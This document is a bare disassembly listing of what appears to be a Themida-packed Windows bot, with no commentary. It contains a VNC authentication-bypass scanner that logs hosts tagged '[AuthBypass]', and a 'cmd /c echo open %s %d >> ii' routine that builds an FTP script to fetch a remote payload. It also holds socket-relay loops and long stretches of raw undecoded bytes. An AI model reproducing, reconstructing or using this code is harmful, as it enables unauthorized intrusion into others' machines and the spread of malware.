push offset dword_43221C
push eax
mov byte ptr [ebp-0B5h], 3
mov word ptr [ebp-0B0h], 48h
mov [ebp-0AEh], bx
mov [ebp-0ACh], ebx
mov word ptr [ebp-0A8h], 10B8h
mov word ptr [ebp-0A6h], 10B8h
mov [ebp-0A4h], ebx
mov [ebp-0A0h], edi
mov [ebp-9Ch], bx
mov byte ptr [ebp-9Ah], 1
call sub_41C310
push 10h
lea eax, [ebp-84h]
push offset dword_432208
push eax
mov dword ptr [ebp-88h], 3
call sub_41C310
add esp, 24h
lea eax, [ebp-0BCh]
mov dword ptr [ebp-74h], 2
push ebx
push eax
lea eax, [ebp-0B8h]
push 48h
push eax
push dword ptr [ebp-4]
nop
call near ptr 26D0000h
test eax, eax
jnz short loc_40DB34
loc_40DB26: ; CODE XREF: ___:0040DC00j
push dword ptr [ebp-4]
nop
call near ptr 26408F3h
jmp loc_40DA50
; ---------------------------------------------------------------------------
loc_40DB34: ; CODE XREF: ___:0040DB24j
lea eax, [ebp-14h]
push ebx
push eax
lea eax, [ebp-60DCh]
push esi
push eax
push dword ptr [ebp-4]
call near ptr 26E0000h
nop
push ebx
call sub_41D081
push eax
call sub_41B8D8
push 14h
lea eax, [ebp-70h]
push 41h
push eax
call sub_41B590
push 1Ch
lea eax, [ebp-30h]
push 41h
push eax
call sub_41B590
add esp, 20h
call sub_41B8E2
mov esi, [ebp+0Ch]
mov [ebp-70h], eax
mov [ebp-64h], edi
mov [ebp-68h], ebx
lea esi, [esi+esi*4]
mov [ebp-6Ch], edi
shl esi, 2
mov [ebp-60h], bx
cmp byte_4321B0[esi], bl
jz short loc_40DBAB
push 4
mov [ebp-24h], edi
mov [ebp-28h], ebx
mov [ebp-2Ch], edi
push offset dword_4CDC9C
jmp short loc_40DBBE
; ---------------------------------------------------------------------------
loc_40DBAB: ; CODE XREF: ___:0040DB97j
push 2
mov [ebp-28h], ebx
pop eax
push 4
mov [ebp-24h], eax
mov [ebp-2Ch], eax
push (offset loc_4321FF+1)
loc_40DBBE: ; CODE XREF: ___:0040DBA9j
lea eax, [ebp-20h]
push eax
call sub_41C310
add esp, 0Ch
call sub_41B8E2
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp-30h], edx
call sub_41B8E2
cdq
idiv edi
mov eax, dword_4321A4[esi]
mov [ebp-18h], ebx
push eax
mov [ebp+8], eax
inc edx
mov [ebp-1Ch], edx
call sub_41B4D5
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_40DB26
mov eax, [ebp+8]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41B590
mov eax, [ebp+8]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41B590
mov eax, dword_4321AC[esi]
push 7
add eax, edi
push offset dword_432198
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 15Ch
add eax, 7
push offset dword_432038
push eax
call sub_41C310
mov eax, dword_4321A8[esi]
add esp, 30h
cmp byte_4321B0[esi], bl
mov [ebp+0Ch], eax
jz short loc_40DCB7
push 4
add eax, edi
push offset dword_4CDC94
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 0Ch
mov esi, offset dword_4321C8
mov eax, [ebp+0Ch]
push 4
add eax, edi
push esi
push eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
add eax, 0Ch
push esi
push eax
call sub_41C310
add esp, 30h
jmp short loc_40DCDF
; ---------------------------------------------------------------------------
loc_40DCB7: ; CODE XREF: ___:0040DC68j
add eax, edi
mov dword ptr [ebp-8], 10h
mov [ebp+0Ch], eax
mov esi, offset dword_4321C8
loc_40DCC8: ; CODE XREF: ___:0040DCDDj
push 4
push esi
push dword ptr [ebp+0Ch]
call sub_41C310
add dword ptr [ebp+0Ch], 4
add esp, 0Ch
dec dword ptr [ebp-8]
jnz short loc_40DCC8
loc_40DCDF: ; CODE XREF: ___:0040DCB5j
mov eax, [ebp+8]
add eax, 42h
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40DD0A
push dword ptr [ebp-4]
nop
call near ptr 26408F3h
push edi
call sub_41B0B1
pop ecx
jmp loc_40DA50
; ---------------------------------------------------------------------------
loc_40DD0A: ; CODE XREF: ___:0040DCF3j
mov eax, [ebp+8]
add eax, 42h
push eax
push ebx
push esi
call sub_41B590
lea eax, [ebp-70h]
push 14h
push eax
push esi
call sub_41C310
mov eax, [ebp+8]
mov [ebp-0Ch], ebx
mov [ebp-10h], eax
add esp, 10h
fild qword ptr [ebp-10h]
fmul flt_4276AC
fstp qword ptr [esp]
call sub_41C7BF
call sub_41C798
push dword ptr [ebp+8]
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
call sub_41C310
mov eax, [ebp+8]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+0Ch], eax
jz short loc_40DD77
loc_40DD6F: ; CODE XREF: ___:0040DD72j
inc eax
test al, 3
jnz short loc_40DD6F
mov [ebp+0Ch], eax
loc_40DD77: ; CODE XREF: ___:0040DD6Dj
lea ecx, [ebp-30h]
push 1Ch
add eax, esi
push ecx
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 1Ch
push edi
call sub_41B0B1
push 18h
lea eax, [ebp-48h]
push ebx
push eax
call sub_41B590
push 14h
lea eax, [ebp-5Ch]
push ebx
push eax
mov byte ptr [ebp-48h], 5
mov [ebp-47h], bl
mov [ebp-46h], bl
mov byte ptr [ebp-45h], 3
mov dword ptr [ebp-44h], 10h
mov [ebp-3Eh], bx
mov [ebp-3Ch], ebx
mov [ebp-34h], bx
mov word ptr [ebp-32h], 1Fh
call sub_41B590
add esp, 28h
push ebx
push ebx
push 1
push ebx
nop
call near ptr 26D0861h
mov [ebp-4Ch], eax
mov [ebp+0Bh], bl
mov [ebp-0Ch], ebx
loc_40DDE4: ; CODE XREF: ___:0040DE6Ej
cmp dword ptr [ebp-0Ch], 2
jge loc_40DE79
push 1
push 10B8h
push dword ptr [ebp+0Ch]
inc dword ptr [ebp-0Ch]
push esi
lea esi, [ebp-48h]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp-4]
rep movsd
call sub_40D8AD
add esp, 2Ch
test al, al
jz short loc_40DE76
cmp [ebp-4Ch], ebx
jz short loc_40DE68
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-60DCh]
push 2000h
push eax
push dword ptr [ebp-4]
nop
call near ptr 26E0000h
test eax, eax
jnz short loc_40DE4F
call near ptr 2660A00h
nop
cmp eax, 3E5h
jnz loc_40DA50
loc_40DE4F: ; CODE XREF: ___:0040DE3Cj
push 3E8h
push dword ptr [ebp-4Ch]
nop
call near ptr 267016Eh
cmp eax, 102h
jnz short loc_40DE68
mov byte ptr [ebp+0Bh], 1
loc_40DE68: ; CODE XREF: ___:0040DE1Bj
; ___:0040DE62j
cmp [ebp+0Bh], bl
mov esi, [ebp-8]
jz loc_40DDE4
jmp short loc_40DE79
; ---------------------------------------------------------------------------
loc_40DE76: ; CODE XREF: ___:0040DE16j
mov esi, [ebp-8]
loc_40DE79: ; CODE XREF: ___:0040DDE8j
; ___:0040DE74j
push dword ptr [ebp-4]
mov edi, dword_427068
call edi
push esi
call sub_41B0B1
cmp [ebp-4Ch], ebx
pop ecx
jz short loc_40DE95
push dword ptr [ebp-4Ch]
call edi
loc_40DE95: ; CODE XREF: ___:0040DE8Ej
cmp [ebp+0Bh], bl
setnz al
loc_40DE9B: ; CODE XREF: ___:0040DA52j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 81h ;
db 0ECh ; ì
db 0A0h ;
db 5
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 33h ; 3
db 0F6h ; ö
db 6Ah ; j
db 10h
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 56h ; V
db 50h ; P
db 0E8h ; è
db 0D6h ; Ö
db 0D6h ; Ö
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 0Ch
db 8Dh ;
db 45h ; E
db 0Ch
db 66h ; f
db 0C7h ; Ç
db 45h ; E
db 0F0h ; ð
db 2
db 0
db 50h ; P
db 90h ;
db 0E8h ; è
db 2Bh ; +
db 34h ; 4
db 6Ah ; j
db 71h ; q
db 0FFh
db 0B5h ; µ
db 0C4h ; Ä
db 0
db 0
db 0
db 89h ; ‰
db 45h ; E
db 0F4h ; ô
db 90h ;
db 0E8h ; è
db 6Ah ; j
db 38h ; 8
db 6Ah ; j
db 71h ; q
db 56h ; V
db 6Ah ; j
db 1
db 6Ah ; j
db 2
db 66h ; f
db 89h ; ‰
db 45h ; E
db 0F2h ; ò
db 90h ;
db 0E8h ; è
db 37h ; 7
db 5Dh ; ]
db 6Ah ; j
db 71h ; q
db 8Bh ; ‹
db 0D8h ; Ø
db 83h ; ƒ
db 0FBh ; û
db 0FFh
db 74h ; t
db 7Ch ; |
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 6Ah ; j
db 10h
db 50h ; P
db 53h ; S
db 90h ;
db 0E8h ; è
db 5Eh ; ^
db 5Fh ; _
db 6Ah ; j
db 71h ; q
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 74h ; t
db 6Ah ; j
db 0BFh ; ¿
db 0
db 4
db 0
db 0
db 56h ; V
db 8Bh ; ‹
db 35h ; 5
db 18h
db 72h ; r
db 42h ; B
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 0B8h ; ¸
db 8
db 91h ; ‘
db 42h ; B
db 0
db 50h ; P
db 50h ; P
db 0FFh
db 35h ; 5
db 0B0h ; °
db 0ACh ; ¬
db 4Ch ; L
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 0DFh ; ß
db 0CCh ; Ì
db 0FFh
db 0FFh
db 59h ; Y
db 50h ; P
db 68h ; h
db 50h ; P
db 22h ; "
db 43h ; C
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 68h ; h
db 90h ;
db 1
db 0
db 0
db 50h ; P
db 0E8h ; è
db 38h ; 8
db 0DAh ; Ú
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; è
db 87h ; ‡
db 0D0h ; Ð
db 0
db 0
db 59h ; Y
db 50h ; P
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 50h ; P
db 53h ; S
db 90h ;
db 0E8h ; è
db 8Bh ; ‹
db 3Bh ; ;
db 6Ah ; j
db 71h ; q
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 75h ; u
db 4
db 33h ; 3
db 0C0h ; À
db 0EBh ; ë
db 17h
db 6Ah ; j
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 53h ; S
db 90h ;
db 0E8h ; è
db 0E7h ; ç
db 3Ah ; :
db 6Ah ; j
db 71h ; q
db 6Ah ; j
db 1
db 58h ; X
db 5Fh ; _
db 5Eh ; ^
db 5Bh ; [
db 0C9h ; É
db 0C3h ; Ã
dw 5653h
dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h
dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh
dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
dd 0E8000007h, 2242E6Fh, 0FB834390h, 6AB87202h, 5E5F5801h
; ---------------------------------------------------------------------------
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
nop
call near ptr 71AB12F8h
push [ebp+arg_BC]
mov [ebp+var_C], eax
nop
call near ptr 71AB1746h
push esi
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E0B0
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jz short loc_40E0B0
mov edi, 400h
push esi
mov esi, dword_427218
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_429108
push eax
push eax
loc_40E064: ; DATA XREF: Themida_:0055B054o
push dword_4CACB0
push [ebp+arg_0]
call sub_40AC0F
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
jnz short loc_40E0B4
loc_40E0B0: ; CODE XREF: sub_40DFE2+50j
; sub_40DFE2+62j
xor eax, eax
jmp short loc_40E0CB
; ---------------------------------------------------------------------------
loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
nop
call near ptr 71AB1A6Dh
push 1
pop eax
loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40DFE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp
; DATA XREF: ___:off_43140Co
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CAFB4
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CAF74
push 6
push 1
push 2
mov [ebp+var_E], ax
call near ptr 71AB3C22h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E142
lea eax, [ebp+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40E123
push esi
jmp short loc_40E13C
; ---------------------------------------------------------------------------
loc_40E123: ; CODE XREF: sub_40E0D0+4Ej
push 0
push 1213h
push offset dword_4322C4
push esi
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40E146
loc_40E13C: ; CODE XREF: sub_40E0D0+51j
call near ptr 71AB1A6Dh
nop
loc_40E142: ; CODE XREF: sub_40E0D0+3Cj
xor eax, eax
jmp short loc_40E188
; ---------------------------------------------------------------------------
loc_40E146: ; CODE XREF: sub_40E0D0+6Aj
call near ptr 71AB1A6Dh
nop
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DFE2
add esp, 0C0h
test eax, eax
jz short loc_40E185
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431410[eax]
lea eax, dword_431410[eax]
loc_40E185: ; CODE XREF: sub_40E0D0+9Ej
push 1
pop eax
loc_40E188: ; CODE XREF: sub_40E0D0+74j
pop edi
pop esi
leave
retn
sub_40E0D0 endp
; =============== S U B R O U T I N E =======================================
sub_40E18C proc near ; CODE XREF: ___:0040E27Ap
; ___:0040E2DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40E194: ; CODE XREF: sub_40E18C+2Dj
test edi, edi
jle short loc_40E1BF
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CAF8C
test eax, eax
jz short loc_40E1BB
cmp eax, 0FFFFFFFFh
jz short loc_40E1BB
sub edi, eax
add esi, eax
jmp short loc_40E194
; ---------------------------------------------------------------------------
loc_40E1BB: ; CODE XREF: sub_40E18C+22j
; sub_40E18C+27j
xor eax, eax
jmp short loc_40E1C2
; ---------------------------------------------------------------------------
loc_40E1BF: ; CODE XREF: sub_40E18C+Aj
push 1
pop eax
loc_40E1C2: ; CODE XREF: sub_40E18C+31j
pop edi
pop esi
retn
sub_40E18C endp
; =============== S U B R O U T I N E =======================================
sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p
; ___:0040E2F3p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40E202
xor esi, esi
test edi, edi
jle short loc_40E1FC
loc_40E1D5: ; CODE XREF: sub_40E1C5+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz short loc_40E202
test eax, eax
jz short loc_40E202
add esi, eax
cmp esi, edi
jl short loc_40E1D5
loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej
push 1
pop eax
loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E202: ; CODE XREF: sub_40E1C5+8j
; sub_40E1C5+2Bj ...
xor eax, eax
jmp short loc_40E1FF
sub_40E1C5 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_433508
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CAFF4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40E234
push eax
jmp short loc_40E268
; ---------------------------------------------------------------------------
loc_40E234: ; CODE XREF: ___:0040E22Fj
lea eax, [ebp+0Ch]
push eax
call dword_4CAFB4
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CAF74
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jnz short loc_40E273
push ebx
loc_40E268: ; CODE XREF: ___:0040E232j
call dword_4CB00C
jmp loc_40E46E
; ---------------------------------------------------------------------------
loc_40E273: ; CODE XREF: ___:0040E265j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41C645
add esp, 10h
cmp eax, esi
jnz loc_40E467
cmp dword ptr [ebp-28h], 3
jz short loc_40E2BF
cmp dword ptr [ebp-20h], 8
jnz loc_40E467
loc_40E2BF: ; CODE XREF: ___:0040E2B3j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40E467
push 1
push offset dword_4CAE2C
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41CFC5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40E3F7
push edi
push esi
push ebx
call sub_40E18C
add esp, 0Ch
loc_40E3F7: ; CODE XREF: ___:0040E3EAj
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409A72
lea eax, [ebp-24Ch]
push eax
call sub_4151AC
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431410[eax]
push ebx
lea eax, dword_431410[eax]
nop
call near ptr 71AB1A6Dh
push 1
pop eax
jmp short loc_40E470
; ---------------------------------------------------------------------------
loc_40E467: ; CODE XREF: ___:0040E284j
; ___:0040E2A9j ...
push ebx
call near ptr 71AB1A6Dh
nop
loc_40E46E: ; CODE XREF: ___:0040E26Ej
xor eax, eax
loc_40E470: ; CODE XREF: ___:0040E465j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E47E: ; CODE XREF: ___:0040E49Aj
; ___:0040E4B6j
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CDCB4
call dword_4CAF8C
test eax, eax
jle short loc_40E47E
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4CDCB0
nop
call near ptr 26D0000h
jmp short loc_40E47E
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E4C1: ; CODE XREF: ___:0040E4E7j
; ___:0040E501j
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CDCA4
nop
call near ptr 26E0000h
cmp dword ptr [ebp-4], 0
jle short loc_40E4C1
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4CDCB4
call dword_4CAFC4
jmp short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do
dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh
dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh
dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h
dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h
dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h
dd 2E2051E8h, 0FF509002h, 4CDCA835h, 43E89000h, 50022E20h
dd 19E6E890h, 458D022Eh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
dd 8D50016Ah, 6850F445h, 43350Ch, 8DE89057h, 8D022325h
dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 2519ABE8h
dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h
dd 1992E890h, 0FF6A0225h, 0FFF04589h, 0F3E8D875h, 9002261Ah
dd 0F075FF57h, 2395E890h, 0FF570226h, 8CE8EC75h, 90022623h
dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22D2499h
dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
push 0FFFEh
push 400h
call sub_418684
pop ecx
mov dword_4CDCBC, eax
pop ecx
retn
; ---------------------------------------------------------------------------
byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do
dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh
dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h
dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
dd 858B022Bh, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h
dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h
dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
dd 2B17EBE8h, 0FE689002h, 530000FFh, 9E63E8h, 0BCA35900h
dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h
dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh
dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
dd 90565959h, 2B176FE8h, 57056A02h, 0AF9C15FFh, 0C63B004Ch
dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh
dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h
dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2B166FE8h
db 2
